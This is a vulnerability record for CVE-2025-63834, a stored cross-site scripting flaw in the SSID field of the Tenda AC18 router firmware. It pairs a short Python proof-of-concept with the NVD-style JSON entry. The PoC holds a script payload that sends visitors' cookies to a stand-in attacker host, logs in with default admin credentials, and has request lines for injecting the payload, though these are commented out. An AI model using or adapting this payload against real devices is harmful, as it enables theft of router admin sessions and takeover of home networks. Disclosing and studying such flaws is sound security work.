CVE-2025-63834

import requests # CVE-2025-63834 PoC - Tenda AC18 Stored XSS in SSID parameter # Target: Tenda AC18 router with firmware v15.03.05.05_multi target_ip = "192.168.0.1" # Default Tenda router IP router_url = f"http://{target_ip}" # XSS payload - steals cookies xss_payload = '<script>fetch("http://attacker.com/steal?c="+document.cookie)</script>' # Login first login_data = { "username": "admin", "password": "admin" # Default credentials } session = requests.Session() # session.post(f"{router_url}/login", data=login_data) # Inject XSS payload into SSID parameter wireless_config = { "ssid": xss_payload, "security_mode": "WPA2", "password": "12345678" } # Submit the malicious SSID # response = session.post(f"{router_url}/goform/wireless/save", data=wireless_config) print("XSS payload injected into SSID parameter") print("Payload:", xss_payload) print("When users visit the router homepage, the script will execute")

{"cve": {"id": "CVE-2025-63834", "sourceIdentifier": "[email protected]", "published": "2025-11-10T17:15:35.810", "lastModified": "2025-12-01T20:15:54.430", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored cross-site scripting (XSS) vulnerability was discovered in Tenda AC18 v15.03.05.05_multi. The vulnerability exists in the ssid parameter of the wireless settings. Remote attackers can inject malicious payloads that execute when any user visits the router's homepage."}, {"lang": "es", "value": "Una vulnerabilidad de Cross-Site Scripting (XSS) almacenado fue descubierta en Tenda AC18 v15.03.05.05_multi. La vulnerabilidad existe en el parámetro ssid de la configuración inalámbrica. Atacantes remotos pueden inyectar cargas útiles maliciosas que se ejecutan cuando cualquier usuario visita la página de inicio del router."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ac18_firmware:15.03.05.05:*:*:*:*:*:*:*", "matchCriteriaId": "4D5CB727-FC6B-4212-A61E-2888A0DADFB0"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ac18:-:*:*:*:*:*:*:*", "matchCriteriaId": "CF9F8AF9-F921-4348-922B-EE5E6037E7AC"}]}]}], "references": [{"url": "https://github.com/babraink/cve_report/blob/main/cve_report/tenda/tendaAC18/wifiset_ssid_xss/README.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}